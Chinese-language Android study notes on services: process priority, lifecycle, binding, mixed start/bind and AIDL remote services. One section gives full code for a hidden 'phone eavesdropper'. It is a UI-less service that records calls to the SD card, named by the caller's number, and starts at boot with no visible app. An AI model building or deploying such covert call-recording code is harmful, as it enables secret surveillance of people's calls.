一、進程回收的優先級
android操作系統會盡可能長期的保留應用程序的進程,系統根據進程的優先級回收進程,釋放內存。
優先級順序:
前臺進程,Foreground process,能看到應用程序的界面,並且可以操作這個應用程序。
可視進程Visible process能看到應用程序,但是不能操作
服務進程Service process應用程序帶一個後臺運行的服務,服務沒有停止。
後臺進程Background process,應用程序被最小化,但是沒有退出。
空進程Empty process ,應用程序沒有任何活動的組件了。
二、服務 service:
長期後臺運行,一般沒有應用程序界面
子線程也是沒有界面,長期在後臺運行,爲什麼不用子線程而用服務?
退出應用程序之後子線程沒有界面長期在後臺運行,這時的應用程序是一個空進程,優先級最低,如果進程被系統回收,開啓的所有的線程都不在了。
服務進程的優先級比較高,不容易被系統回收,即使因爲內存不足而被系統回收了,在內存充足的時候服務還是可以自動被恢復的。
可以把服務理解成一個沒有界面的Activity,service的父類是Activity父類(Context)的父類。
電話竊聽器:
創建服務竊聽電話的服務PhoneService繼承Service,實現竊聽電話的邏輯:
大致分爲以下幾步:
1.開啓服務開始竊聽
2.設置竊聽器:
<1準備錄音
<2開始錄音
<3停止錄音,釋放錄音資源
3.取消竊聽停止服務
public class PhoneService extends Service {
//電話管理器,是一個系統服務,長期運行在後臺沒有界面
private TelephonyManager tm;
private MyListener listener;
//錄音器
private MediaRecorder recorder;
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
//一、創建服務開始監聽
tm= (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
listener=new MyListener();
tm.listen(listener,PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
}
private class MyListener extends PhoneStateListener{
//二、設置竊聽器
@Override
//當呼叫狀態發生變化時,調用的方法
public void onCallStateChanged(int state, String incomingNumber) {
//電話狀態:鈴響,接聽電話,空閒
switch (state) {
case TelephonyManager.CALL_STATE_IDLE://空閒狀態
//2.3停止錄音
if (recorder!=null) {
recorder.stop();
//釋放資源
recorder.release();
recorder=null;
}
break;
case TelephonyManager.CALL_STATE_RINGING://鈴響狀態
//2.1實現準備錄音方法
PrepareRecorder(incomingNumber);
break;
case TelephonyManager.CALL_STATE_OFFHOOK://電話接通
//2.2開始錄音7.
recorder.start();
break;
}
super.onCallStateChanged(state, incomingNumber);
}
/**
* 2.1準備錄音
* @param incomingNumber 來電號碼
*/
private void PrepareRecorder(String incomingNumber) {
// TODO Auto-generated method stub
try {
//1.創建一個錄音機的實例
recorder=new MediaRecorder();
//2.設置錄製的數據源,VOICE_CALL可以錄製雙方聲音,但是隻有國產手機支持,因爲涉及隱私問題,MIC只支持錄製麥克風的聲音 recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
//3.設置輸入文件的格式 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
//4.設置保存的文件名稱 recorder.setOutputFile("/sdcard/"+incomingNumber+".3gp"); //5.設置編碼模式 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
//6.準備錄音
recorder.prepare();
} catch (IllegalStateException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
@Override
public void onDestroy() {
//三、取消監聽停止服務
tm.listen(listener, PhoneStateListener.LISTEN_NONE);
super.onDestroy();
}
在清單文件中配置服務
<service android:name="com.example.TeleListener.PhoneService">
</service>
在清單文件中添加權限:
//監聽電話狀態的權限
android.permission.READ_PHONE_STATE
//寫sd卡的權限
android.permission.WRITE_EXTERNAL_STORAGE
//讀音頻的權限
android.permission.RECORD_AUDIO
應用程序沒有界面沒有Activity,利用開機啓動,直接開啓服務。
所以把開機啓動項目拿來把廣播接收者代碼改爲:
public void onReceive(Context context, Intent intent) {
Intent i=new Intent(context,PhoneService.class);
context.startService(i);
}
還可以通過其他的廣播接收者啓動這個服務。
三、
服務裏能不能進行耗時的操作?
服務是運行在主線程的ui線程,同樣不能進行耗時操作。
如果要在服務裏執行耗時的操作,需要在服務裏面開啓子線程執行耗時的操作。
服務定義的長期活動是指服務不容易被系統回收,就算回收了,也會在內存充足的時候再開啓。
四、
利用startService(intent);stopService(intent);開啓服務與關閉服務:
服務的生命週期:
onCreate();創建服務
onStartComment();開啓服務
onDestory();銷燬服務
通過startService(intent)開啓服務,多次執行這個方法onCreate方法只能被執行一次,而onStartComment()方法會被執行多次。並且當應用程序退出的時候,也不會去執行onDestory(),方法。
通過stopService(intent)關閉服務,多次執行這個方法onDestory方法也只能被執行一次。
通過startService(intent)開啓服務框架會傳一個上下文給服務,而直接去new 服務的話將會出現上下文爲空現象。所以自己不可以new服務調用服務的方法,服務只能由框架創建。
五、
創建服務時必須實現onBind()方法,這個方法是在服務被綁定的時候調用的方法。
bindService綁定服務的步驟大致可以分爲以下幾步:
1.創建service類繼承Service,在清單文件中配置<service>節點.
2.創建實現IBinder接口的內部類,通常繼承Binder實現,在內部類裏創建新的方法調用服務內部的方法。
public class MyBinder extends Binder{//服務的內部人員可以調用服務的方法
public void callMethodService() {
ServiceMethod();
}
}
public void ServiceMethod () {
System.out.println("服務的內部方法");
}
3.重寫服務裏的onBind方法,返回一個實現了IBinder接口的內部類對象(相當於服務的內部人員)。
public IBinder onBind(Intent intent) {
return new MyBinder();
}
接下來都是在Activity代碼裏寫
4.寫打開服務器的意圖
Intent intent=new Intent(this,BindService.class);
並且定義一個全局的MyBinder mybinder;
5.寫實現了ServiceConnection接口的內部類,實現ServiceConnection沒有完成的方法。
6.在onServiceConnected方法裏獲取服務的內部人員
private class Myconnection implements ServiceConnection{
//當服務連接成功時調用的方法
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
//通過IBinder service傳遞數據
mybinder=(MyBinder) service;//獲取到服務的內部人員
}
//當服務連接失敗時調用的方法
@Override
public void onServiceDisconnected(ComponentName name) {
}
}
7.通過bindService綁定服務:
//BIND_AUTO_CREATE=1,如果綁定服務的時候不存在,會自動創建
bindService(intent, new Myconnection(), BIND_AUTO_CREATE);
8.可以利用服務器內部人員的實例去調用自己的方法,間接的調用服務內部的方法;
mybinder.callMethodService();
利用代理模式屏蔽內部的相關細節,只通過代理來傳遞部分數據。這裏的代理就是服務器的內部人員。
9.用接口隱藏服務內部不想暴露的方法
定義一個接口IService,裏面定義幾個方法,在服務的內部人員的類裏實現這個接口裏沒有實現的方法,通過實現這些方法去間接調用服務內部的可以暴露的方法。這時可以把服務的內部人員定義成private,在其他的類裏不能直接實例化這個服務內部人員,但是可以通過接口調用,服務內部的方法。
在原來的Activity代碼裏:
1.聲明接口,Iservice mybinder;
2.在onServiceConnected方法裏獲取服務的內部人員已經實現的接口,mybinder=(Iservice)service;
六、
綁定服務的細節:
1.如果onbind方法返回值是null,onServiceConnected方法就不會被調用。
2.綁定的服務在系統設置界面,正在運行的條目裏看不到。
3.如果調用者Activity退出了,綁定服務就自動跟着退出。所以要在Activity的onDestroy方法執行之前執行服務的unbindService
4.(ServiceConnection)解綁服務,這裏的ServiceConnection必須和bindService用的ServiceConnection是同一個。如果連續綁定多次導致第一次綁定的ServiceConnection丟失,解綁的時候將會因爲找不到第一次定義的ServiceConnection而產生異常
5.服務只能被解除綁定一次,多次解綁服務會拋出異常。
七、混合方式開啓服務,服務的生命週期
startService------stopService
onCreate()--->onstartCommand()--->onstartCommand()--->onDestroy()
bindService------unbindService
onCreate()--->onbind()--->onUnbind()--->onDestroy()
bindService開啓的服務將不會調用onstartcommand()方法。
爲什麼需要採用混合的方式開啓服務?
startService服務長期後臺運行,但是不可以調用服務裏面的方法,不能和服務之間傳遞數據。
bindService可以調用服務的方法能和服務之間傳遞數據,但是不能長期後臺運行。
混合方式開啓服務可以保證服務長期後臺運行,又可以調用服務裏面的方法,也能和服務之間傳遞數據。
通過startService開啓服務之後,再用bindService綁定服務,這時再用stopService停止服務就不能停止服務了,bindService必須用unbindService解除綁定之後才能銷燬服務。
用startService開啓服務之後,再用bindService綁定服務,並且沒有用stopService停止服務過,再用unbindService解除綁定服務,這時只是解除了綁定服務並沒有銷燬服務。
推薦的步驟:
1.用startService開啓服務----保證服務長期後臺運行
2.再用bindService綁定服務----保證可以調用服務內部的方法,與服務進行數據交換
3.和已經綁定的服務完成數據交換。
4.再用unbindService解除綁定服務----服務沒有停止還是可以長期後臺運行。
(如果重寫的unbind()方法的返回值是true,這時候再綁定服務會調用rebind()服務。)
5.如果要停止服務就調用stopService。
在服務解除綁定之後還可以間接調用服務內部的方法,因爲它的引用還在Activity裏被使用還沒有被垃圾回收站回收掉。
八、
開一個應用就打開一個進程,進程之間彼此獨立,內存空間彼此獨立。
ipc(inter process communication進程間通信)可以實現不同進程之間通信。
1.把要通信的數據寫在sd卡---安全性,效率比較低,不推薦
2.信號量,消息郵箱,消息隊列,操作系統提供一塊公共的內存空間-binder底層是內存驅動。不同的進程都可以在公共內存空間的相應區域讀寫數據,相對安全。
本地服務和遠程服務:
本地服務:服務的代碼在自己應用程序內部。
遠程服務:服務的代碼在另外一個應用程序的裏面。
遠程服務是被別的應用程序開啓的所以服務代碼裏配置清單文件的時候要配置隱式意圖,
綁定遠程服務時,和本地服務相比,Activity和服務之間進行通信的接口拿不到,這時就需要用到:
aidl(android interface defination language安卓接口定義語言)
它的特點是滿足兩個進程之間,接口數據的交換(ipc--inter process communication進程間通信)
1.把服務的應用裏原來定義的IService接口,後綴名java改爲aidl,再把IService接口裏面所有的修飾符public去掉,因爲它本來默認的就已經是public的了。
2.在工程目錄gen目錄下會自動編譯生成IService.java的接口文件
3.把服務裏面原來定義的extends Binder implement IService的服務內部人員的類改爲extends ISercice.Stub
4.在調用遠程服務的應用程序裏面新建一個包,包名和遠程服務的包名一樣,再把原來的接口文件即aidl文件複製到這個包下
5.在onServiceConnected代碼裏獲取接口,iService=IService.Stub.asInterface(service);
遠程服務的應用場景:
1.超級大公司,寫出來的邏輯供別的程序員使用。
2.手機企業,手機定製廠商,提供一些方便的邏輯供程序員使用。
3.系統源碼內置很多服務
查看系統源碼:
有的時候可能直接用ctrl一步步點下去最終看到的是一個抽象方法,這時要想看到它的內部實現就在方法後面打斷點,再查看方法抽象之前調用這個方法的對象具體在哪個包裏,再去查看這個包的源碼。